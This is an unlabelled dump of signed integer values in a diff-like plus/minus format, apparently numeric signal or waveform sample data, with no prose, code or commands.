--79 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --98 --91 --84 --92 --86 --66 --76 --54 --66 --62 --59 --54 --50 --48 --45 --41 --38 --36 --34 --31 --29 --27 --25 --24 --22 --20 --19 --18 --16 --15 --14 --13 --12 --11 --10 --9 --9 --8 --7 --7 --6 --6 --6 --5 --5 --4 --4 --4 --3 --3 --3 --2 --2 --2 --2 --2 --1 --1 --1 --1 --1 -0 -0 -0 -0 -0 -0 -0 --1 -0 -0 -0 --1 --1 --1 --1 --1 --2 --2 -0 -0 -1 -3 -4 -5 -5 -4 -4 -4 -3 -2 -2 -1 -1 -1 -1 -1 -1 -0 -0 -0 -0 --1 --1 --2 --2 --2 --2 --2 --2 -0 -0 -0 -1 -2 -4 -5 -5 -5 -6 -5 -4 -3 -2 -2 -2 -0 -1 -0 -1 -0 --1 --1 -0 -0 -0 -1 -3 -3 -3 -3 -3 -3 -2 -1 -1 -1 -0 -0 -0 -0 -0 -0 -0 -1 -1 -1 -2 -2 -2 -2 -3 -2 -2 -2 -2 -2 -2 -1 -1 -1 -1 -1 -0 -1 -2 -1 -1 -1 -2 -2 -1 -2 -2 -2 -2 -1 -2 -2 -1 -1 -1 -2 -2 -1 -1 -2 -2 -2 -2 -2 -2 -2 -2 -1 -2 -2 -2 -2 -2 -2 -2 -1 -1 -1 -1 -1 -1 -0 -1 -2 -2 -2 -2 -2 -2 -2 -1 -1 -2 -2 -2 -1 -1 -1 -2 -0 -0 -0 -2 -1 -0 -0 -1 -2 -2 -1 -2 -2 -2 -1 -1 -2 -2 -1 -1 -1 -2 -1 -2 -1 -2 -2 -2 -2 -2 -2 -2 -1 -2 -1 -2 -1 -1 -2 -2 -2 -2 -1 -2 -2 -1 -1 -1 -2 -2 -1 -2 -2 -2 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -1 -2 -2 -2 -2 -2 -1 -1 -1 -1 -1 -2 -2 -1 -2 -1 -1 -1 -1 -1 -1 -1 -2 -2 -2 -2 -2 -2 -2 -2 -1 -1 -1 -2 -1 -1 -2 -2 -2 -2 -2 -2 -2 -1 -1 -2 -1 -0 -0 -1 -1 -1 -1 -1 -2 -1 -1 -1 -2 -1 -0 -0 -1 -1 -1 -0 -0 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -1 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -1 -2 -1 -2 -1 -1 -2 -2 -2 -2 -1 -2 -2 -1 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -1 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -135 -130 -124 -122 -118 -114 -110 -104 -98 -93 -86 -80 -73 -67 -61 -56 -51 -47 -43 -40 -36 -34 -31 -28 -26 -25 -22 -21 -19 -18 -17 -15 -14 -13 -12 -11 -10 -9 -8 -7 -6 -6 -5 -5 -5 -4 --78 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --92 --84 --93 --87 --66 --77 --55 --66 --62 --59 --54 --50 --48 --44 --42 --39 --36 --34 --32 --30 --28 --26 --24 --22 --20 --19 --18 --17 --15 --14 --14 --12 --11 --11 --10 --10 --8 --8 --8 --7 --6 --6 --5 --5 --4 --4 --4 --4 --3 --3 --3 --3 --2 --2 --2 --1 --1 --1 --1 --1 -0 -0 -0 -0 -0 -0 -0 -0 -0 --1 -0 -0 -0 -0 -0 -0 -1 -0 -1 -1 -1 -2 -2 -1 -1 -1 -1 -1 -1 -1 -2 -1 -1 -1 -1 -2 -2 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -134 -129 -124 -121 -117 -114 -109 -104 -98 -92 -86 -80 -73 -67 -61 -56 -51 -47 -43 -40 -36 -34 -31 29 -27 -26 -24 -22 -20 -18 -16 -15 -14 -13 -12 -11 -10 -9 -8 -7 -7 -6 -5 -5 -4 -4 --79 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --91 --84 --94 --88 --66 --76 --56 --67 --62 --58 --54 --51 --48 --45 --42 --38 --35 --33 --31 --29 --27 --25 --24 --22 --20 --19 --18 --17 --15 --14 --14 --13 --12 --10 --9 --9 --8 --7 --7 --6 --6 --5 --5 --5 --4 --4 --3 --3 --2 --2 --2 --2 --2 --2 --2 --2 --1 -0 -0 --1 -0 -0 -0 -0 -0 -0 -0 -0 -0 -0 -0 -1 -0 -0 -0 -1 -1 -1 -1 -1 -1 -1 -0 -1 -1 -1 -2 -1 -1 -2 -2 -2 -2 -1 -2 -1 -2 -1 -1 -1 -1 -1 -1 -1 -2 -2 -2 -2 -2 -2 -2 -1 -2 -2 -1 -1 -1 -1 -1 -1 -2 -2 -2 -1 -1 -2 -2 -2 -2 -2 -2 -1 -1 -2 -2 -2 -2 -1 -1 -1 -1 -1 -1 -1 -2 -1 -1 -1 -1 -2 -2 -2 -2 -1 -2 -2 -1 -1 -2 -2 -2 -1 -1 -1 -1 -1 -0 -1 -1 -1 -1 -1 -2 -1 -1 -2 -2 -2 -2 -2 -2 -2 -2 -1 -2 -2 -2 -1 -2 -2 -1 -1 -1 -1 -1 -1 -2 -2 -2 -2 -1 -2 -2 -1 -1 -1 -1 -1 -1 -2 -2 -1 -2 -2 -2 -2 -1 -2 -2 -1 -1 -1 -2 -2 -1 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -135 -130 -125 -122 -118 -114 -110 -104 -98 -93 -86 -80 -73 -67 -61 -56 -52 -47 -43 -40 -36 -34 -31 -29 -27 26 23 -21 20 -18 17 -16 -14 +15 13 11 -10 -9 9 8 -7 6 5 -5 -5 -4 -4 --78 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --90 --84 +3 +2 +0 +-1 +-2 +-3 +-5 +-6 +-6 +-7 +-8 +-8 +-9 +-9 +-10 +-10 -93 --87 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-106 +-98 +-108 +-102 +-80 +-90 +-70 +-81 +-77 +-72 +-68 -65 --76 --55 --67 -62 --58 --54 --51 +-59 +-55 +-52 +-50 -48 -45 --42 --39 +-43 +-41 +-40 +-38 -36 -34 --31 +-33 +-32 +-30 -29 +-28 +-27 +-26 +-25 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +118 +112 +108 +104 +100 +98 +92 +88 +81 +76 +70 +64 +58 +52 +46 +41 +36 +33 +29 +25 +22 +19 +16 +14 +12 +10 +8 +6 +5 +3 +2 +1 +-1 +-2 +-3 +-4 +-5 +-6 +-6 +-7 +-8 +-9 +-10 +-10 +-11 +-11 +-93 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-112 +-105 +-98 +-107 +-101 +-79 +-90 +-69 +-80 +-76 +-72 +-68 +-65 +-62 +-59 +-56 +-53 +-50 +-48 +-46 +-43 +-42 +-40 +-37 +-35 +-34 +-33 +-31 +-30 +-29 +-28 +-28 -27 -25 --24 +-25 +-25 +-23 -22 +-22 +-21 +-21 -20 +-20 +-19 +-19 -19 -18 -17 +-17 +-16 +-17 +-16 +-16 +-16 +-16 +-16 +-16 -15 +-15 +-14 +-14 +-14 +-14 +-14 +-14 +-14 +-14 +-14 +-14 +-14 +-14 +-14 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-13 +-13 +-13 +-13 -14 -13 -12 --10 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -132 +-12 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-14 +-14 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-13 +-12 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-14 +-13 +-13 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-13 +-13 +-12 +-12 +-12 +-13 +-12 +-12 +-12 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-14 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-13 +-12 +-12 +-13 +-13 +-12 +-12 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 127 -123 -120 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +121 116 -112 -107 -102 +111 +108 +104 +100 96 90 84 -77 -71 -65 +79 +72 +66 59 54 -50 -46 +47 42 -39 -36 +37 33 -30 29 26 -25 -22 -21 -19 -17 +23 +20 +18 16 -15 13 12 -11 -10 9 -8 -8 -6 -6 -6 +7 5 4 -4 3 --80 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --92 --85 --94 --87 --66 +2 +0 +-1 +-2 +-3 +-4 +-5 +-6 +-8 +-8 +-9 +-9 +-9 +-10 +-10 +-93 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-104 +-97 +-107 +-102 +-97 +-90 +-69 +-81 -77 --55 --66 +-72 +-68 +-65 -62 --59 +-58 -55 --51 +-53 +-50 -48 -45 +-44 -42 -40 --36 --34 --32 --29 --27 --25 --24 --22 --20 --19 --18 --17 --15 --14 --13 --12 --12 --11 --10 --10 --9 --8 --7 --7 --6 --6 --5 --4 --4 --4 --4 --3 --3 --4 --3 --3 --3 --3 --3 --2 --2 --2 --2 --2 --1 --1 --1 --1 -0 --1 -0 --1 -0 -0 -0 -0 -0 -0 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -0 -1 -1 -1 -1 -0 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -2 -2 -2 -1 -2 -2 -2 -1 -1 -1 -1 -2 -2 -2 -2 -2 -2 -2 -2 -1 -1 -1 -1 -1 -1 -1 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -1 -1 -1 -1 -1 -1 -0 -1 -1 -0 -1 -1 -1 -1 -1 -2 -2 -2 -2 -2 -2 -1 -1 -1 -1 -1 -1 -1 -1 -2 -1 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -1 -2 -2 -1 -1 -2 -1 -1 -1 -1 -1 -1 -1 -2 -1 -1 -1 -2 -2 -1 -1 -2 -2 -2 -1 -2 -2 -1 -1 -1 -2 -2 -1 -2 -1 -1 -1 -1 -1 -2 -2 -2 -1 -2 -2 -2 -1 -1 -1 -2 -2 -2 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -2 -2 -2 -1 -1 -1 -1 -1 -1 -2 -2 -2 -2 -1 -2 -1 -1 -1 -2 -1 -1 -1 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -134 -129 -124 -122 -118 -114 -109 -104 -98 -93 -86 -80 -73 -67 -62 -56 -51 -47 -43 -40 -37 -34 -31 -29 -26 -24 -22 -21 -19 -18 -17 -15 -14 -13 -12 -11 -10 -9 -8 -7 -7 -6 -5 -4 -4 -4 --79 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --98 --91 --85 --92 --86 --66 --77 --56 --67 --62 --59 --55 --51 --47 --44 --42 -38 --35 +-36 +-34 -33 +-32 -31 -30 --27 --25 --24 --22 --20 --19 --18 --18 --16 --14 --14 --13 --12 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -140 -131 +-28 +-28 +-26 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 126 -122 -119 -116 +117 112 -106 -102 -96 -91 -84 -77 -71 -65 -60 -55 -50 -46 -43 -39 -36 -33 -30 -28 -26 -24 -22 -21 -19 -18 -16 -15 -14 -13 -12 -11 -10 -9 -8 -7 -6 -5 -4 -4 -4 -4 -3 -3 -3 -2 -2 -2 -1 -1 -0 -0 -0 -0 --1 -0 --1 --1 --2 --2 --2 --2 --2 --2 --3 --2 --3 --3 --2 --3 --3 --3 --3 --3 --3 --3 --3 --3 --3 --2 --3 --3 --4 --4 --4 --4 --4 --4 --4 --4 --4 --4 --4 --3 --3 --3 --3 --3 --3 --3 --3 --3 --3 --3 --3 --3 --84 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --93 --86 --94 --88 --83 --78 --58 --68 --63 --59 --55 --52 --47 --44 --42 --39 --36 --34 --31 --30 --27 --25 --24 --23 --22 --20 --18 --17 --16 --15 --13 --12 --12 --11 --10 --9 --8 --8 --7 --6 --6 --6 --5 --5 --4 --4 --4 --4 --3 --2 --2 --2 --2 --2 --1 --1 --2 --1 --1 --1 -0 --1 -0 -0 -0 -0 -0 -0 -0 -0 -0 -0 -1 -1 -0 -0 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -1 -1 -1 -1 -1 -1 -1 -2 -2 -1 -1 -1 -1 -0 -1 -1 -1 -1 -1 -2 -2 -2 -2 -1 -1 -2 -2 -2 -2 -1 -2 -1 -1 -1 -1 -2 -2 -1 -2 -2 -2 -2 -1 -1 -1 -1 -1 -1 -1 -2 -1 -1 -1 -2 -1 -1 -1 -1 -2 -2 -1 -2 -2 -2 -1 -1 -1 -2 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -1 -2 -2 -2 -2 -2 -2 -2 -1 -1 -1 -1 -1 -2 -1 -2 -2 -2 -2 -2 -2 -2 -1 -1 -1 -1 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -1 -1 -2 -1 -2 -2 -1 -1 -1 -1 -1 -1 -1 -1 -2 -2 -2 -1 -2 -2 -1 -1 -1 -1 -1 -1 -1 -1 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -1 -1 -1 -2 -1 -1 -2 -2 -1 -1 -1 -1 -1 -1 -1 -2 -1 -2 -2 -2 -2 -1 -1 -1 -1 -1 -1 -1 -2 -1 -1 -2 -2 -1 -1 -1 -2 -2 -1 -1 -2 -2 -1 -2 -1 -1 -1 -1 -1 -2 -2 -2 -1 -2 -2 -1 -1 -2 -1 -2 -1 -1 -2 -1 -1 -2 -2 -2 -2 -2 -2 -2 -2 -1 -1 -2 -1 -2 -1 -1 -1 -1 -0 -1 -0 -1 -0 -1 -1 -1 -2 -2 -2 -2 -2 -2 -1 -1 -2 -2 -1 -1 -0 -0 -1 -1 -1 -0 -1 -1 -0 -1 -1 -1 -1 -1 -1 -2 -2 -2 -1 -1 -1 -1 -1 -1 -1 -2 -2 -2 -2 -2 -1 -1 -1 -1 -1 -2 -2 -2 -2 -2 -1 -2 -1 -1 -1 -1 -1 -1 -1 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -1 -1 -1 -1 -1 -1 -1 -0 -1 -2 -2 -2 -2 -2 -2 -1 -1 -1 -1 -1 -1 -1 -2 -1 -1 -2 -2 -2 -1 -1 -2 -1 -1 -1 -1 -2 -1 -1 -2 -2 -2 -2 -1 -1 -2 -2 -2 -2 -2 -2 -2 -1 -1 -1 -1 -0 -1 -1 -1 -1 -1 -1 -2 -2 -2 -2 -2 -2 -2 -2 -1 -1 -2 -2 -1 -2 -2 -1 -1 -1 -1 -1 -2 -2 -2 -2 -2 -2 -2 -1 -2 -1 -1 -1 -1 -1 -2 -1 -2 -2 -2 -1 -1 -1 -2 -1 -1 -1 -2 -2 -1 -1 -2 -2 -2 -1 -1 -1 -1 -1 -1 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -1 -2 -2 -2 -2 -2 -1 -2 -1 -1 -1 -1 -1 -2 -1 -2 -1 -2 -1 -2 -2 -2 -1 -1 -1 -1 -1 -1 -1 -2 -2 -1 -1 -2 -2 -1 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -1 -1 -1 -1 -1 -1 -1 -1 -0 -0 -1 -1 -1 -0 -1 -1 -1 -1 -1 -2 -2 -1 -1 -1 -1 -1 -0 -1 -1 -1 -1 -1 -2 -2 -1 -1 -1 -1 -1 -1 -2 -2 -1 -2 -1 -2 -1 -1 -1 -2 -2 -2 -1 -1 -1 -1 -1 -1 -1 -2 -1 -1 -2 -1 -2 -2 -2 -2 -2 -1 -1 -1 -1 -1 -1 -1 -1 -2 -2 -2 -2 -2 -2 -2 -2 -2 -1 -1 -1 -1 -1 -1 -1 -1 -0 -1 -2 -2 -2 -2 -2 -2 -1 -1 -1 -1 -1 -1 -1 -2 -1 -2 -2 -1 -1 -1 -1 -2 -2 -2 -2 -3 -2 -2 -2 -2 -2 -2 -2 -2 -2 -1 -1 -0 -0 -2 -2 -1 -1 -2 -2 -1 -1 -2 -2 -2 -2 -2 -2 -1 -1 -1 -1 -1 -1 -1 -2 -1 -1 -2 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -1 -2 -2 -2 -2 -2 -2 -2 -1 -2 -2 -1 -1 -1 -1 -1 -1 -2 -2 -1 -1 -2 -2 -1 -1 -1 -1 -1 -1 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -1 -2 -1 -1 -2 -1 -1 -1 -1 -2 -2 -2 -2 -2 -2 -2 -1 -2 -2 -2 -2 -1 -1 -1 -1 -1 -1 -2 -2 -2 -2 -1 -2 -2 -1 -2 -2 -2 -2 -1 -1 -2 -1 -1 -1 -1 -1 -1 -2 -2 -2 -2 -1 -2 -1 -1 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -1 -2 -1 -2 -1 -1 -1 -1 -1 -1 -0 -1 -1 -1 -1 -1 -1 -2 -1 -1 -1 -2 -2 -2 -2 -2 -2 -2 -2 -2 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -135 -129 -124 -122 -118 -114 -109 -104 -99 -93 -86 -80 -73 -68 -61 -57 -52 -48 -43 -40 -37 -34 -32 -30 -27 -26 -24 -22 -20 -19 -17 -16 -14 -13 -12 -11 -10 -9 -8 -7 -7 -6 -6 -5 -4 -4 --79 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --98 --91 --83 --93 --88 --66 --76 --56 --67 --62 --58 --54 --51 --47 --44 --41 --39 --36 --34 --31 --29 --27 --25 --23 --22 --20 --19 --18 --17 --15 --15 --14 --12 --11 --10 --10 --9 --8 --8 --7 --6 --6 --5 --5 --4 --4 --4 --3 --3 --3 --2 --2 --3 --2 --2 --1 --2 --1 --1 --1 --1 -0 -0 -0 --1 -0 --1 --1 -0 -0 -0 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -2 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -2 -1 -2 -2 -2 -2 -1 -2 -2 -2 -2 -2 -2 -2 -1 -1 -2 -2 -2 -1 -1 -2 -1 -2 -1 -1 -1 -1 -1 -1 -1 -2 -1 -1 -1 -1 -1 -1 -1 -2 -2 -2 -2 -2 -2 -2 -1 -1 -1 -2 -1 -1 -2 -2 -2 -2 -1 -2 -2 -2 -1 -1 -2 -2 -1 -1 -2 -2 -2 -1 -1 -2 -1 -1 -1 -2 -2 -2 -1 -2 -2 -2 -1 -1 -2 -2 -2 -1 -1 -2 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -1 -2 -2 -2 -2 -1 -2 -2 -1 -1 -1 -2 -2 -1 -1 -1 -1 -1 -0 -1 -1 -1 -1 -1 -1 -1 -1 -2 -2 -2 -2 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -1 -2 -2 -2 -2 -1 -2 -1 -1 -1 -2 -1 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -0 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -1 -2 -2 -2 -2 -2 -2 -2 -1 -2 -2 -2 -1 -1 -1 -1 -1 -1 -1 -2 -1 -1 -2 -2 -2 -1 -1 -2 -2 -2 -2 -2 -2 -2 -1 -2 -2 -2 -2 -2 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -135 -130 -125 -122 -118 -114 -109 -104 -98 -93 -86 -80 -73 -67 -61 -56 -51 -46 -42 -39 -36 -33 -31 -28 -26 -25 -23 -21 -19 -18 -16 -15 -13 -13 -11 -11 -9 -9 -8 -7 -6 -6 -5 -5 -4 -4 --79 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --92 --85 --93 --86 --65 --77 --56 --66 --62 --59 --55 --51 --48 --45 --42 --39 --36 --34 --31 --29 --27 --25 --24 --22 --21 --19 --18 --17 --16 --14 --13 --12 --12 --10 --9 --8 --8 --8 --7 --7 --6 --6 --5 --5 --4 --4 --4 --4 --3 --3 --2 --3 --2 --2 --2 --2 --1 --1 -0 --1 -0 -0 -0 -0 -0 -0 -1 -0 -0 -0 -0 -0 -1 -1 -1 -1 -1 -0 -0 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -1 -1 -1 -1 -1 -1 -0 -1 -2 -1 -1 -1 -1 -1 -1 -1 -2 -2 -1 -1 -2 -2 -1 -1 -2 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -1 -2 -2 -2 -2 -2 -2 -2 -1 -1 -2 -1 -1 -1 -2 -2 -1 -1 -1 -1 -1 -1 -1 -2 -1 -2 -1 -1 -1 -1 -1 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -1 -1 -1 -1 -1 -1 -1 -1 -2 -2 -2 -2 -2 -2 -2 -1 -2 -1 -1 -2 -2 -2 -2 -1 -2 -2 -2 -1 -1 -1 -2 -1 -1 -1 -2 -2 -1 -2 -2 -2 -2 -1 -1 -2 -2 -1 -1 -2 -1 -1 -1 -1 -2 -2 -2 -2 -2 -2 -2 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -2 -1 -2 -2 -2 -2 -1 -2 -2 -1 -1 -1 -2 -2 -2 -2 -2 -2 -2 -1 -2 -2 -1 -1 -1 -1 -2 -1 -1 -1 -2 -2 -1 -1 -2 -1 -2 -1 -1 -2 -1 -1 -2 -1 -1 -1 -1 -1 -1 -2 -2 -1 -1 -1 -2 -1 -1 -1 -1 -2 -2 -1 -2 -2 -1 -1 -2 -2 -2 -1 -1 -1 -1 -1 -0 -1 -2 -1 -1 -1 -2 -2 -1 -1 -2 -2 -1 -1 -2 -2 -1 -2 -1 -2 -2 -1 -1 -2 -2 -2 -1 -2 -2 -2 -2 -2 -2 -2 -1 -1 -1 -1 -2 -1 -1 -1 -1 -1 -2 -1 -1 -1 -2 -2 -1 -1 -2 -1 -1 -1 -1 -2 -1 -1 -1 -2 -2 -1 -2 -3 -2 -2 -2 -2 -2 -1 -1 -1 -1 -1 -1 -1 -2 -1 -2 -2 -2 -2 -2 -2 -2 -1 -2 -2 -1 -1 -1 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -134 -129 -124 -122 -118 -114 -109 +108 104 +101 97 92 -85 -80 -73 -67 -62 -57 +88 +82 +76 +70 +64 +58 52 -48 -43 -40 +46 +41 36 -34 -31 +33 29 -27 -25 +26 23 -21 19 -18 -16 -16 -14 -13 -12 -12 -10 -10 -9 -8 -7 -6 -6 -5 -5 -4 -4 -3 -3 -2 -2 -1 -1 -1 -0 -0 -1 -0 -0 --1 --1 --1 --2 --2 --2 --2 --2 --2 --3 --2 --2 --2 --2 --2 --3 --3 --3 --3 --3 --3 --3 --3 --2 --2 --3 --2 --3 --3 --3 --3 --3 --3 --3 --3 --3 --3 --3 --3 --3 --3 --3 --3 --3 --3 --4 --4 --4 --4 --4 --3 --85 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --93 --86 --96 --88 --66 --77 --57 --68 --63 --59 --55 --52 --48 --45 --42 --39 --37 --34 --32 --30 --28 --26 --23 --22 --20 --19 --18 --17 --16 --15 --13 --12 --11 --10 --10 --9 --8 --8 --7 --7 --6 --6 --5 --5 --4 --4 --3 --3 --3 --3 --3 --2 --2 --2 --2 --2 --1 --1 --1 -0 -0 -0 -0 -0 -1 -1 -0 -0 -0 -0 -0 -0 -0 -1 -1 -1 -0 -1 -1 -1 -1 -1 -1 -2 -1 -1 -0 -2 -2 -1 -0 -1 -2 -2 -1 -1 -2 -2 -2 -1 -1 -2 -1 -0 -1 -1 -1 -1 -0 -1 -2 -2 -2 -1 -2 -2 -2 -1 -2 -1 -2 -1 -1 -1 -1 -1 -0 -1 -2 -1 -1 -1 -1 -1 -1 -0 -1 -1 -1 -1 -1 -2 -2 -2 -2 -2 -2 -2 -2 -2 -1 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -1 -1 -1 -1 -1 -1 -0 -1 -2 -1 -1 -2 -2 -2 -1 -2 -2 -1 -2 -1 -1 -1 -1 -1 -0 -1 -1 -1 -1 -1 -1 -1 -2 -1 -2 -1 -2 -2 -1 -1 -2 -1 -1 -1 -1 -1 -2 -0 -0 -0 -0 -2 -2 -1 -1 -2 -3 -2 -2 -2 -2 -2 -2 -1 -1 -2 -1 -1 -1 -1 -1 -1 -1 -2 -1 -2 -1 -1 -1 -1 -1 -1 -0 -1 -1 -1 -1 -1 -2 -2 -1 -1 -1 -1 -1 -1 -1 -2 -2 -2 -2 -2 -2 -1 -2 -2 -1 -1 -2 -2 -2 -1 -1 -1 -1 -1 -1 -2 -2 -1 -2 -2 -2 -2 -2 -2 -2 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -136 -130 -124 -121 -118 -114 -110 -105 -98 -92 -85 -79 -73 -67 -61 -56 -51 -48 -44 -40 -37 -34 -31 -29 -27 -25 -23 -21 -19 -18 -16 +17 15 -14 -13 -11 -11 +12 10 -9 8 7 -6 -6 5 -5 -4 -4 --79 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --92 --84 --93 --87 --66 --77 --55 --67 --63 --59 --55 --51 --48 --45 --41 --38 --36 --34 --32 --29 --28 --26 --24 --22 --21 --19 --18 --17 --16 +3 +2 +1 +-1 +-1 +-3 +-4 +-5 +-6 +-6 +-7 +-8 +-8 +-9 +-10 +-10 +-11 +-11 +-12 +-12 +-12 +-13 +-13 +-14 +-14 +-14 +-14 -15 -14 --12 --11 --11 --10 --9 --8 --7 --6 --6 --5 --5 --5 --5 --4 --4 --3 --4 --3 --3 --2 --2 --2 --2 --1 --1 --1 --1 --1 